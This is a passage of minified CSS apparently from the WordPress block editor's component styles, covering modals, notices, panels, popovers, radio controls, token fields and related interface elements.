input.components-form-toggle__input[type=checkbox]{border:none;height:100%;left:0;margin:0;opacity:0;padding:0;position:absolute;top:0;width:100%;z-index:1}.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{background:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{content:""}.components-form-toggle input.components-form-toggle__input[type=checkbox]:not(:disabled,[aria-disabled=true]){cursor:pointer}.components-form-token-field__input-container{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;cursor:text;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:0;width:100%}@media not (prefers-reduced-motion){.components-form-token-field__input-container{transition:box-shadow .1s linear}}@media (min-width:600px){.components-form-token-field__input-container{font-size:13px;line-height:normal}}.components-form-token-field__input-container:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container::-webkit-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container::-moz-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container:-ms-input-placeholder{color:#1e1e1e9e}.components-form-token-field__input-container.is-disabled{background:#ddd;border-color:#ddd}.components-form-token-field__input-container.is-active{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-form-token-field__input-container input[type=text].components-form-token-field__input{background:inherit;border:0;box-shadow:none;color:#1e1e1e;display:inline-block;flex:1;font-family:inherit;font-size:16px;margin-left:4px;max-width:100%;min-height:24px;min-width:50px;padding:0;width:100%}@media (min-width:600px){.components-form-token-field__input-container input[type=text].components-form-token-field__input{font-size:13px}}.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{box-shadow:none;outline:none}.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{width:auto}.components-form-token-field__token{color:#1e1e1e;display:flex;font-size:13px;max-width:100%}.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{background:#4ab866}.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{color:#757575}.components-form-token-field__token.is-borderless{padding:0 24px 0 0;position:relative}.components-form-token-field__token.is-borderless .components-form-token-field__token-text{background:#0000}.components-form-token-field__token.is-borderless:not(.is-disabled) .components-form-token-field__token-text{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{background:#0000;color:#757575;position:absolute;right:0;top:1px}.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{color:#4ab866}.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{color:#cc1818;padding:0 4px 0 6px}.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{color:#1e1e1e}.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{background:#ddd;display:inline-block;height:auto;min-width:unset}@media not (prefers-reduced-motion){.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{transition:all .2s cubic-bezier(.4,1,.4,1)}}.components-form-token-field__token-text{border-radius:1px 0 0 1px;line-height:24px;overflow:hidden;padding:0 0 0 8px;text-overflow:ellipsis;white-space:nowrap}.components-form-token-field__remove-token.components-button{border-radius:0 1px 1px 0;color:#1e1e1e;line-height:10px;overflow:initial}.components-form-token-field__remove-token.components-button:hover:not(:disabled){color:#1e1e1e}.components-form-token-field__suggestions-list{box-shadow:inset 0 1px 0 0 #949494;flex:1 0 100%;list-style:none;margin:0;max-height:128px;min-width:100%;overflow-y:auto;padding:0}@media not (prefers-reduced-motion){.components-form-token-field__suggestions-list{transition:all .15s ease-in-out}}.components-form-token-field__suggestion{box-sizing:border-box;color:#1e1e1e;display:block;font-size:13px;margin:0;min-height:32px;padding:8px 12px}.components-form-token-field__suggestion.is-selected{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff}.components-form-token-field__suggestion[aria-disabled=true]{color:#949494;pointer-events:none}.components-form-token-field__suggestion[aria-disabled=true].is-selected{background-color:rgba(var(--wp-components-color-accent--rgb,var(--wp-admin-theme-color--rgb)),.04)}.components-form-token-field__suggestion:not(.is-empty){cursor:pointer}@media (min-width:600px){.components-guide{width:600px}}.components-guide .components-modal__content{margin-top:0;padding:0}.components-guide .components-modal__content:before{content:none}.components-guide .components-modal__header{border-bottom:none;height:60px;padding:0;position:sticky}.components-guide .components-modal__header .components-button{align-self:flex-start;margin:8px 8px 0 0;position:static}.components-guide .components-modal__header .components-button:hover svg{fill:#fff}.components-guide .components-guide__container{display:flex;flex-direction:column;justify-content:space-between;margin-top:-60px;min-height:100%}.components-guide .components-guide__page{display:flex;flex-direction:column;justify-content:center;position:relative}@media (min-width:600px){.components-guide .components-guide__page{min-height:300px}}.components-guide .components-guide__footer{align-content:center;display:flex;height:36px;justify-content:center;margin:0 0 24px;padding:0 32px;position:relative;width:100%}.components-guide .components-guide__page-control{margin:0;text-align:center}.components-guide .components-guide__page-control li{display:inline-block;margin:0}.components-guide .components-guide__page-control .components-button{color:#e0e0e0;margin:-6px 0}.components-guide .components-guide__page-control li[aria-current=step] .components-button{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-modal__frame.components-guide{border:none;max-height:575px;min-width:312px}@media (max-width:600px){.components-modal__frame.components-guide{margin:auto;max-width:calc(100vw - 32px)}}.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{position:absolute}.components-button.components-guide__back-button{left:32px}.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{right:32px}[role=region]{position:relative}.is-focusing-regions [role=region]:focus:after,[role=region].interface-interface-skeleton__content:focus-visible:after{bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0;z-index:1000000}.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .editor-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .editor-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header,[role=region].interface-interface-skeleton__content:focus-visible:after{outline-color:var(--wp-admin-theme-color);outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2);outline-style:solid;outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*2)}.components-menu-group+.components-menu-group{border-top:1px solid #1e1e1e;padding-top:8px}.components-menu-group+.components-menu-group.has-hidden-separator{border-top:none;margin-top:0;padding-top:0}.components-menu-group:has(>div:empty){display:none}.components-menu-group__label{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;margin-top:4px;padding:0 8px;text-transform:uppercase;white-space:nowrap}.components-menu-item__button,.components-menu-item__button.components-button{width:100%}.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{box-sizing:initial;padding-right:48px}.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{display:inline-block;flex:0 0 auto}.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{margin-left:24px;margin-right:-2px}.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{margin-left:8px}.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{margin-left:-2px;margin-right:8px}.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{justify-content:center}.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{margin-right:0}.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{background:none;color:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));opacity:.3}.components-menu-item__info-wrapper{display:flex;flex-direction:column;margin-right:auto}.components-menu-item__info{color:#757575;font-size:12px;margin-top:4px;white-space:normal}.components-menu-item__item{align-items:center;display:inline-flex;margin-right:auto;min-width:160px;white-space:nowrap}.components-menu-item__shortcut{align-self:center;color:currentColor;display:none;margin-left:auto;margin-right:0;padding-left:24px}@media (min-width:480px){.components-menu-item__shortcut{display:inline}}.components-menu-items-choice,.components-menu-items-choice.components-button{height:auto;min-height:40px}.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{margin-right:12px}.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{padding-left:12px}.components-modal__screen-overlay{background-color:#00000059;bottom:0;display:flex;left:0;position:fixed;right:0;top:0;z-index:100000}@keyframes __wp-base-styles-fade-in{0%{opacity:0}to{opacity:1}}@media not (prefers-reduced-motion){.components-modal__screen-overlay{animation:__wp-base-styles-fade-in .08s linear 0s;animation-fill-mode:forwards}}@keyframes __wp-base-styles-fade-out{0%{opacity:1}to{opacity:0}}@media not (prefers-reduced-motion){.components-modal__screen-overlay.is-animating-out{animation:__wp-base-styles-fade-out .08s linear 80ms;animation-fill-mode:forwards}}.components-modal__frame{animation-fill-mode:forwards;animation-name:components-modal__appear-animation;animation-timing-function:cubic-bezier(.29,0,0,1);background:#fff;border-radius:8px 8px 0 0;box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;box-sizing:border-box;display:flex;margin:40px 0 0;overflow:hidden;width:100%}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{box-sizing:inherit}@media not (prefers-reduced-motion){.components-modal__frame{animation-duration:var(--modal-frame-animation-duration)}}.components-modal__screen-overlay.is-animating-out .components-modal__frame{animation-name:components-modal__disappear-animation;animation-timing-function:cubic-bezier(1,0,.2,1)}@media (min-width:600px){.components-modal__frame{border-radius:8px;margin:auto;max-height:calc(100% - 120px);max-width:calc(100% - 32px);min-width:350px;width:auto}}@media (min-width:600px) and (min-width:600px){.components-modal__frame.is-full-screen{height:calc(100% - 32px);max-height:none;width:calc(100% - 32px)}}@media (min-width:600px) and (min-width:782px){.components-modal__frame.is-full-screen{height:calc(100% - 80px);max-width:none;width:calc(100% - 80px)}}@media (min-width:600px){.components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{width:100%}.components-modal__frame.has-size-small{max-width:384px}.components-modal__frame.has-size-medium{max-width:512px}.components-modal__frame.has-size-large{max-width:840px}}@media (min-width:960px){.components-modal__frame{max-height:70%}}@keyframes components-modal__appear-animation{0%{opacity:0;transform:scale(.9)}to{opacity:1;transform:scale(1)}}@keyframes components-modal__disappear-animation{0%{opacity:1;transform:scale(1)}to{opacity:0;transform:scale(.9)}}.components-modal__header{align-items:center;border-bottom:1px solid #0000;box-sizing:border-box;display:flex;flex-direction:row;height:72px;justify-content:space-between;left:0;padding:24px 32px 8px;position:absolute;top:0;width:100%;z-index:10}.components-modal__header .components-modal__header-heading{font-size:1.2rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{border-bottom-color:#ddd}.components-modal__header+p{margin-top:0}.components-modal__header-heading-container{align-items:center;display:flex;flex-direction:row;flex-grow:1;justify-content:left}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-height:36px;max-width:36px;padding:8px}.components-modal__content{flex:1;margin-top:72px;overflow:auto;padding:4px 32px 32px}.components-modal__content.hide-header{margin-top:0;padding-top:32px}.components-modal__content.is-scrollable:focus-visible{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;outline-offset:-2px}.components-notice{align-items:center;background-color:#fff;border-left:4px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#1e1e1e;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:8px 12px}.components-notice.is-dismissible{position:relative}.components-notice.is-success{background-color:#eff9f1;border-left-color:#4ab866}.components-notice.is-warning{background-color:#fef8ee;border-left-color:#f0b849}.components-notice.is-error{background-color:#f4a2a2;border-left-color:#cc1818}.components-notice__content{flex-grow:1;margin:4px 25px 4px 0}.components-notice__actions{display:flex;flex-wrap:wrap}.components-notice__action.components-button{margin-right:8px}.components-notice__action.components-button,.components-notice__action.components-button.is-link{margin-left:12px}.components-notice__action.components-button.is-secondary{vertical-align:initial}.components-notice__dismiss{align-self:flex-start;color:#757575;flex-shrink:0}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{background-color:initial;color:#1e1e1e}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{box-shadow:none}.components-notice-list{box-sizing:border-box;max-width:100vw}.components-notice-list .components-notice__content{line-height:2;margin-bottom:12px;margin-top:12px}.components-notice-list .components-notice__action.components-button{display:block;margin-left:0;margin-top:8px}.components-panel{background:#fff;border:1px solid #e0e0e0}.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{margin-top:-1px}.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{border-bottom-width:0}.components-panel+.components-panel{margin-top:-1px}.components-panel__body{border-bottom:1px solid #e0e0e0;border-top:1px solid #e0e0e0}.components-panel__body h3{margin:0 0 .5em}.components-panel__body.is-opened{padding:16px}.components-panel__header{align-items:center;border-bottom:1px solid #ddd;box-sizing:initial;display:flex;flex-shrink:0;height:47px;justify-content:space-between;padding:0 16px}.components-panel__header h2{color:inherit;font-size:inherit;margin:0}.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{margin-top:-1px}.components-panel__body>.components-panel__body-title{display:block;font-size:inherit;margin-bottom:0;margin-top:0;padding:0}@media not (prefers-reduced-motion){.components-panel__body>.components-panel__body-title{transition:background .1s ease-in-out}}.components-panel__body.is-opened>.components-panel__body-title{margin:-16px -16px 5px}.components-panel__body>.components-panel__body-title:hover{background:#f0f0f0;border:none}.components-panel__body-toggle.components-button{border:none;box-shadow:none;color:#1e1e1e;font-weight:500;height:auto;outline:none;padding:16px 48px 16px 16px;position:relative;text-align:left;width:100%}@media not (prefers-reduced-motion){.components-panel__body-toggle.components-button{transition:background .1s ease-in-out}}.components-panel__body-toggle.components-button:focus{border-radius:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-panel__body-toggle.components-button .components-panel__arrow{color:#1e1e1e;position:absolute;right:16px;top:50%;transform:translateY(-50%);fill:currentColor}@media not (prefers-reduced-motion){.components-panel__body-toggle.components-button .components-panel__arrow{transition:color .1s ease-in-out}}body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{-ms-filter:fliph;filter:FlipH;margin-top:-10px;transform:scaleX(-1)}.components-panel__icon{color:#757575;margin:-2px 0 -2px 6px}.components-panel__body-toggle-icon{margin-right:-5px}.components-panel__color-title{float:left;height:19px}.components-panel__row{align-items:center;display:flex;justify-content:space-between;margin-top:8px;min-height:36px}.components-panel__row select{min-width:0}.components-panel__row label{flex-shrink:0;margin-right:12px;max-width:75%}.components-panel__row:empty,.components-panel__row:first-of-type{margin-top:0}.components-panel .circle-picker{padding-bottom:20px}.components-placeholder.components-placeholder{align-items:flex-start;box-sizing:border-box;color:#1e1e1e;display:flex;flex-direction:column;font-size:13px;gap:16px;margin:0;padding:24px;position:relative;text-align:left;width:100%;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;outline:1px solid #0000}.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;letter-spacing:normal;line-height:normal;text-transform:none}.components-placeholder__label{align-items:center;display:flex;font-weight:600}.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{margin-right:4px;fill:currentColor}@media (forced-colors:active){.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{fill:CanvasText}}.components-placeholder__label:empty{display:none}.components-placeholder__fieldset,.components-placeholder__fieldset form{display:flex;flex-direction:row;flex-wrap:wrap;gap:16px;justify-content:flex-start;width:100%}.components-placeholder__fieldset form p,.components-placeholder__fieldset p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{flex-direction:column}.components-placeholder__input[type=url]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;flex:1 1 auto;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:6px 8px}@media not (prefers-reduced-motion){.components-placeholder__input[type=url]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-placeholder__input[type=url]{font-size:13px;line-height:normal}}.components-placeholder__input[type=url]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-placeholder__input[type=url]::-webkit-input-placeholder{color:#1e1e1e9e}.components-placeholder__input[type=url]::-moz-placeholder{color:#1e1e1e9e}.components-placeholder__input[type=url]:-ms-input-placeholder{color:#1e1e1e9e}.components-placeholder__error{gap:8px;width:100%}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{margin-left:10px;margin-right:10px}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{margin-right:0}.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{display:none}.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{flex-direction:column}.components-placeholder.is-medium .components-button,.components-placeholder.is-medium .components-placeholder__fieldset>*,.components-placeholder.is-small .components-button,.components-placeholder.is-small .components-placeholder__fieldset>*{justify-content:center;width:100%}.components-placeholder.is-small{padding:16px}.components-placeholder.has-illustration{-webkit-backdrop-filter:blur(100px);backdrop-filter:blur(100px);backface-visibility:hidden;background-color:initial;border-radius:0;box-shadow:none;color:inherit;display:flex;overflow:hidden}.is-dark-theme .components-placeholder.has-illustration{background-color:#0000001a}.components-placeholder.has-illustration .components-placeholder__fieldset{margin-left:0;margin-right:0}.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{opacity:0;pointer-events:none}@media not (prefers-reduced-motion){.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{transition:opacity .1s linear}}.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.components-placeholder.has-illustration:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.is-selected .components-placeholder.has-illustration{overflow:auto}.components-placeholder__preview{display:flex;justify-content:center}.components-placeholder__illustration{box-sizing:initial;height:100%;left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);width:100%;stroke:currentColor;opacity:.25}.components-popover{box-sizing:border-box;will-change:transform;z-index:1000000}.components-popover *,.components-popover :after,.components-popover :before{box-sizing:inherit}.components-popover.is-expanded{bottom:0;left:0;position:fixed;right:0;top:0;z-index:1000000!important}.components-popover__content{background:#fff;border-radius:4px;box-shadow:0 0 0 1px #ccc,0 2px 3px #0000000d,0 4px 5px #0000000a,0 12px 12px #00000008,0 16px 16px #00000005;box-sizing:border-box;width:min-content}.is-alternate .components-popover__content{border-radius:2px;box-shadow:0 0 0 1px #1e1e1e}.is-unstyled .components-popover__content{background:none;border-radius:0;box-shadow:none}.components-popover.is-expanded .components-popover__content{box-shadow:0 -1px 0 0 #ccc;height:calc(100% - 48px);overflow-y:visible;position:static;width:auto}.components-popover.is-expanded.is-alternate .components-popover__content{box-shadow:0 -1px 0 #1e1e1e}.components-popover__header{align-items:center;background:#fff;display:flex;height:48px;justify-content:space-between;padding:0 8px 0 16px}.components-popover__header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.components-popover__close.components-button{z-index:5}.components-popover__arrow{display:flex;height:14px;pointer-events:none;position:absolute;width:14px}.components-popover__arrow:before{background-color:#fff;content:"";height:2px;left:1px;position:absolute;right:1px;top:-1px}.components-popover__arrow.is-top{bottom:-14px!important;transform:rotate(0)}.components-popover__arrow.is-right{left:-14px!important;transform:rotate(90deg)}.components-popover__arrow.is-bottom{top:-14px!important;transform:rotate(180deg)}.components-popover__arrow.is-left{right:-14px!important;transform:rotate(-90deg)}.components-popover__triangle{display:block;flex:1}.components-popover__triangle-bg{fill:#fff}.components-popover__triangle-border{fill:#0000;stroke-width:1px;stroke:#ccc}.is-alternate .components-popover__triangle-border{stroke:#1e1e1e}.components-radio-control{border:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;margin:0;padding:0}.components-radio-control__group-wrapper.has-help{margin-block-end:12px}.components-radio-control__option{align-items:center;column-gap:8px;display:grid;grid-template-columns:auto 1fr;grid-template-rows:auto minmax(0,max-content)}.components-radio-control__input[type=radio]{appearance:none;border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;cursor:pointer;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;grid-column:1;grid-row:1;height:24px;line-height:normal;margin:0;max-width:24px;min-width:24px;padding:0;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.components-radio-control__input[type=radio]{transition:box-shadow .1s linear}}@media (min-width:600px){.components-radio-control__input[type=radio]{font-size:13px;line-height:normal}}.components-radio-control__input[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.components-radio-control__input[type=radio]::-moz-placeholder{color:#1e1e1e9e}.components-radio-control__input[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.components-radio-control__input[type=radio]{height:16px;max-width:16px;min-width:16px;width:16px}}.components-radio-control__input[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:12px}@media (min-width:600px){.components-radio-control__input[type=radio]:checked:before{height:8px;width:8px}}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]:checked{background:var(--wp-admin-theme-color);border:none}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.components-radio-control__input[type=radio]:checked{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-radio-control__input[type=radio]:checked:before{border-radius:50%;content:""}.components-radio-control__label{cursor:pointer;grid-column:2;grid-row:1;line-height:24px}@media (min-width:600px){.components-radio-control__label{line-height:16px}}.components-radio-control__option-description{grid-column:2;grid-row:2;padding-block-start:4px}.components-radio-control__option-description.components-radio-control__option-description{margin-top:0}.components-resizable-box__handle{display:none;height:23px;width:23px;z-index:2}.components-resizable-box__container.has-show-handle .components-resizable-box__handle{display:block}.components-resizable-box__handle>div{height:100%;outline:none;position:relative;width:100%;z-index:2}.components-resizable-box__container>img{width:inherit}.components-resizable-box__handle:after{background:#fff;border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)),0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;content:"";cursor:inherit;display:block;height:15px;outline:2px solid #0000;position:absolute;right:calc(50% - 8px);top:calc(50% - 8px);width:15px}.components-resizable-box__side-handle:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:9999px;content:"";cursor:inherit;display:block;height:3px;opacity:0;position:absolute;right:calc(50% - 1px);top:calc(50% - 1px);width:3px}@media not (prefers-reduced-motion){.components-resizable-box__side-handle:before{transition:transform .1s ease-in;will-change:transform}}.components-resizable-box__corner-handle,.components-resizable-box__side-handle{z-index:2}.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{border-left:0;border-right:0;left:0;width:100%}.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{border-bottom:0;border-top:0;height:100%;top:0}@media not (prefers-reduced-motion){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;animation-fill-mode:forwards}.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation:components-resizable-box__left-right-animation .1s ease-out 0s;animation-fill-mode:forwards}}@media not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:none}}}@keyframes components-resizable-box__top-bottom-animation{0%{opacity:0;transform:scaleX(0)}to{opacity:1;transform:scaleX(1)}}@keyframes components-resizable-box__left-right-animation{0%{opacity:0;transform:scaleY(0)}to{opacity:1;transform:scaleY(1)}}
/*!rtl:begin:ignore*/.components-resizable-box__handle-right{right:-11.5px}.components-resizable-box__handle-left{left:-11.5px}.components-resizable-box__handle-top{top:-11.5px}.components-resizable-box__handle-bottom{bottom:-11.5px}

/*!rtl:end:ignore*/.components-responsive-wrapper{align-items:center;display:flex;justify-content:center;max-width:100%;position:relative}.components-responsive-wrapper__content{display:block;max-width:100%;width:100%}.components-sandbox{overflow:hidden}iframe.components-sandbox{width:100%}body.lockscroll,html.lockscroll{overflow:hidden}.components-select-control__input{outline:0;-webkit-tap-highlight-color:rgba(0,0,0,0)!important}@media (max-width:782px){.components-base-control .components-base-control__field .components-select-control__input{font-size:16px}}.components-snackbar{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#000000d9;border-radius:4px;box-shadow:0 1px 2px #0000000d,0 2px 3px #0000000a,0 6px 6px #00000008,0 8px 8px #00000005;box-sizing:border-box;color:#fff;cursor:pointer;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;max-width:600px;padding:12px 20px;pointer-events:auto;width:100%}@media (min-width:600px){.components-snackbar{width:fit-content}}.components-snackbar:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-snackbar.components-snackbar-explicit-dismiss{cursor:default}.components-snackbar 